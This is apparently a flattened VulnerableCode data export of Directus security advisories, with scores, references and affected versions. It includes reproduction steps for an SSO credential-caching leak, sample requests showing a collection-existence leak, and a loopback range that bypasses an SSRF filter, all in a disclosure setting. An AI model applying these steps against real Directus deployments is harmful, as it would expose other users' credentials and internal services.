reference_url https://github.com/advisories/GHSA-qw9g-7549-7wg5
reference_id GHSA-qw9g-7549-7wg5
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qw9g-7549-7wg5
fixed_packages
0
url pkg:npm/directus@10.8.3
purl pkg:npm/directus@10.8.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-7w4r-sr7k-77g1
14
vulnerability VCID-88w3-rw8u-rqea
15
vulnerability VCID-95tn-g8wd-63hq
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-a9tr-a8r5-57en
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dy98-51bk-p3fk
21
vulnerability VCID-exwx-sqry-c3gc
22
vulnerability VCID-hv63-3zhy-dyae
23
vulnerability VCID-j711-a6gm-b7hr
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-ycj2-8tqq-jyag
36
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.8.3
aliases CVE-2024-27295, GHSA-qw9g-7549-7wg5
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4uk6-xe3f-h3h9
6
url VCID-4v6n-unvz-wff3
vulnerability_id VCID-4v6n-unvz-wff3
summary
Session is cached for OpenID and OAuth2 if `redirect` is not used
### Summary
Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include `redirect` query string.

For example:
- Project is configured with OpenID or OAuth2
- Project is configured with cache enabled
- User tries to login via SSO link, but without `redirect` query string
- After successful login, credentials are cached
- If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user

The SSO link is something like `https://directus.example.com/auth/login/openid/callback`, where `openid` is the name of the OpenID provider configured in Directus

### Details
This happens because on that endpoint for both OpenId and Oauth2 Directus is using the `respond` middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
For OpenID, this can be seen here:
https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
And for OAuth2 can be seen here
https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428

### PoC
- Create a new Directus project
- Set `CACHE_ENABLED` to true
- Set `CACHE_STORE` to `redis` for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)
- Configure `REDIS` with redis string or redis host, port, user, etc.
- Set `AUTH_PROVIDERS` to `openid`
- Set `PUBLIC_URL` to the the main URL of your project . 	For example, `PUBLIC_URL: http://localhost:8055`
- Configure `AUTH_OPENID_CLIENT_ID`, `AUTH_OPENID_CLIENT_SECRET`, `AUTH_OPENID_ISSUER_URL` with proper OpenID configurations
- Be sure that on OpenID external app you have configured Redirect URI to `http://localhost:8055/auth/login/openid/callback`
- Run Directus
- Open the SSO link like `http://localhost:8055/auth/login/openid/callback`
- Do the authentication on the OpenID external webpage
- Verify that it you got redirected to a page with a JSON including `access_token` property
- Be sure all anonymous mode windows are closed
- Open an anonymous window and go to the SSO Link `http://localhost:8055/auth/login/openid/callback` and see you have the same credentials, even though you don't have any session because you are in anonymous mode

### Impact
All projects using OpenID or OAuth 2, that does not include `redirect` query string on loggin in users.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-45596
reference_id
reference_type
scores
0
value 0.00753
scoring_system epss
scoring_elements 0.73506
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-45596
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428
3
reference_url https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459
4
reference_url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
5
reference_url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
6
reference_url https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-10T19:20:20Z/
url https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-45596
reference_id
reference_type
scores
0
value 7.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
1
value 8.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-45596
8
reference_url https://github.com/advisories/GHSA-cff8-x7jv-4fm8
reference_id GHSA-cff8-x7jv-4fm8
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-cff8-x7jv-4fm8
fixed_packages
0
url pkg:npm/directus@10.13.3
purl pkg:npm/directus@10.13.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.3
1
url pkg:npm/directus@11.1.0
purl pkg:npm/directus@11.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-21c4-wjbq-pycf
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-ejdy-qscm-bqe1
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.1.0
aliases CVE-2024-45596, GHSA-cff8-x7jv-4fm8
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4v6n-unvz-wff3
7
url VCID-4x1w-8bx4-rqf9
vulnerability_id VCID-4x1w-8bx4-rqf9
summary
Directus Vulnerable to Information Leakage in Existing Collections
### Summary:

An observable difference in error messaging was found in the Directus REST API. The `/items/{collection}` API returns different error messages for these two cases:
1. A user tries to access an existing collection which they are not authorized to access.
2. A user tries to access a non-existing collection.

The two differing error messages leak the existence of collections to users which are not authorized to access these collections.

### Details:

The following response returns an error message, when requesting a collection the user is not authorized to access.

```
GET /items/no-access
{
  "errors": [
    {
      "message": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
      "extensions": {
        "reason": "You don't have permission to access collection \"no-access\" or it does not exist. Queried in root.",
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

The following response returns a different error message when requesting a collection which does not exist.

```
GET /items/does-not-exist
{
  "errors": [
    {
      "message": "You don't have permission to access this.",
      "extensions": {
        "code": "FORBIDDEN"
      }
    }
  ]
}
```

### Impact:

The difference in errors between non-existent collections and collections blocked by permissions leak the existence of a collection to a user which is not authorized to access this object.

### Credit:

Sebastian Krause - [Hackmanit GmbH](https://hackmanit.de)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64749
reference_id
reference_type
scores
0
value 0.00046
scoring_system epss
scoring_elements 0.14492
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64749
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/f99c9b89071f9d136cc9b0d0c182f2d24542bc31
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-14T17:14:48Z/
url https://github.com/directus/directus/commit/f99c9b89071f9d136cc9b0d0c182f2d24542bc31
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-14T17:14:48Z/
url https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64749
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64749
5
reference_url https://github.com/advisories/GHSA-cph6-524f-3hgr
reference_id GHSA-cph6-524f-3hgr
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-cph6-524f-3hgr
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64749, GHSA-cph6-524f-3hgr
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-4x1w-8bx4-rqf9
8
url VCID-547q-d837-dfcz
vulnerability_id VCID-547q-d837-dfcz
summary
Directus vulnerable to SSRF Loopback IP filter bypass
### Impact
If you're relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`)

### Workaround
You can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-46990
reference_id
reference_type
scores
0
value 0.00237
scoring_system epss
scoring_elements 0.46933
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-46990
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b
3
reference_url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52
4
reference_url https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff
5
reference_url https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431
6
reference_url https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
4
value MODERATE
scoring_system generic_textual
scoring_elements
5
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-18T18:14:11Z/
url https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-46990
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-46990
8
reference_url https://github.com/advisories/GHSA-68g8-c275-xf2m
reference_id GHSA-68g8-c275-xf2m
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-68g8-c275-xf2m
fixed_packages
0
url pkg:npm/directus@10.13.3
purl pkg:npm/directus@10.13.3
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.13.3
1
url pkg:npm/directus@11.0.0-rc.1
purl pkg:npm/directus@11.0.0-rc.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4v6n-unvz-wff3
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-exwx-sqry-c3gc
15
vulnerability VCID-gnzq-q9g9-m3a4
16
vulnerability VCID-hv63-3zhy-dyae
17
vulnerability VCID-j711-a6gm-b7hr
18
vulnerability VCID-kugb-dwxd-6fhe
19
vulnerability VCID-mk5k-pf2s-mfe9
20
vulnerability VCID-n7g1-hmy7-j7g9
21
vulnerability VCID-n9br-39bb-7ugt
22
vulnerability VCID-rq5y-ee4h-gkff
23
vulnerability VCID-szpk-4g6r-f3e6
24
vulnerability VCID-trbn-m8sj-ffa4
25
vulnerability VCID-uft7-5e9d-dqh8
26
vulnerability VCID-vt3b-2dr3-aka2
27
vulnerability VCID-wcaq-4zzz-qfb7
28
vulnerability VCID-wx6m-6dac-xqaj
29
vulnerability VCID-ycj2-8tqq-jyag
30
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.0.0-rc.1
2
url pkg:npm/directus@11.1.0
purl pkg:npm/directus@11.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-21c4-wjbq-pycf
3
vulnerability VCID-2hv8-fgdr-hugf
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4x1w-8bx4-rqf9
6
vulnerability VCID-662k-n18g-mybg
7
vulnerability VCID-6ggp-xn4c-gya3
8
vulnerability VCID-6mr6-u3vk-sygm
9
vulnerability VCID-88w3-rw8u-rqea
10
vulnerability VCID-a75s-xyu6-wbcw
11
vulnerability VCID-a9tr-a8r5-57en
12
vulnerability VCID-bwww-3wep-2ydf
13
vulnerability VCID-dy98-51bk-p3fk
14
vulnerability VCID-ejdy-qscm-bqe1
15
vulnerability VCID-exwx-sqry-c3gc
16
vulnerability VCID-gnzq-q9g9-m3a4
17
vulnerability VCID-hv63-3zhy-dyae
18
vulnerability VCID-j711-a6gm-b7hr
19
vulnerability VCID-kugb-dwxd-6fhe
20
vulnerability VCID-mk5k-pf2s-mfe9
21
vulnerability VCID-n7g1-hmy7-j7g9
22
vulnerability VCID-n9br-39bb-7ugt
23
vulnerability VCID-rq5y-ee4h-gkff
24
vulnerability VCID-szpk-4g6r-f3e6
25
vulnerability VCID-trbn-m8sj-ffa4
26
vulnerability VCID-uft7-5e9d-dqh8
27
vulnerability VCID-vt3b-2dr3-aka2
28
vulnerability VCID-wcaq-4zzz-qfb7
29
vulnerability VCID-wx6m-6dac-xqaj
30
vulnerability VCID-ycj2-8tqq-jyag
31
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.1.0
aliases CVE-2024-46990, GHSA-68g8-c275-xf2m
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-547q-d837-dfcz
9
url VCID-5w3v-5auy-dfez
vulnerability_id VCID-5w3v-5auy-dfez
summary
Server-Side Request Forgery in Directus
Directus versions v9.0.0-beta.2 through 9.6.0 are vulnerable to server-side request forgery (SSRF) in the media upload functionality, which allows a low privileged user to perform internal network port scans.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2022-23080
reference_id
reference_type
scores
0
value 0.00116
scoring_system epss
scoring_elements 0.3008
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2022-23080
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/6da3f1ed5034115b1da00440008351bf0d808d83
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/6da3f1ed5034115b1da00440008351bf0d808d83
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2022-23080
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2022-23080
4
reference_url https://www.mend.io/vulnerability-database/CVE-2022-23080
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://www.mend.io/vulnerability-database/CVE-2022-23080
5
reference_url https://github.com/advisories/GHSA-5h75-pvq4-82c9
reference_id GHSA-5h75-pvq4-82c9
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5h75-pvq4-82c9
fixed_packages
0
url pkg:npm/directus@9.7.0
purl pkg:npm/directus@9.7.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4uk6-xe3f-h3h9
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-6z4j-ev48-67hq
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-88w3-rw8u-rqea
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-bjb3-z2we-rqab
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dsta-c12f-fuff
21
vulnerability VCID-dy98-51bk-p3fk
22
vulnerability VCID-exwx-sqry-c3gc
23
vulnerability VCID-hv63-3zhy-dyae
24
vulnerability VCID-j711-a6gm-b7hr
25
vulnerability VCID-km7s-b9cy-57c3
26
vulnerability VCID-mk5k-pf2s-mfe9
27
vulnerability VCID-n7g1-hmy7-j7g9
28
vulnerability VCID-n9br-39bb-7ugt
29
vulnerability VCID-q63x-ba8r-tfc1
30
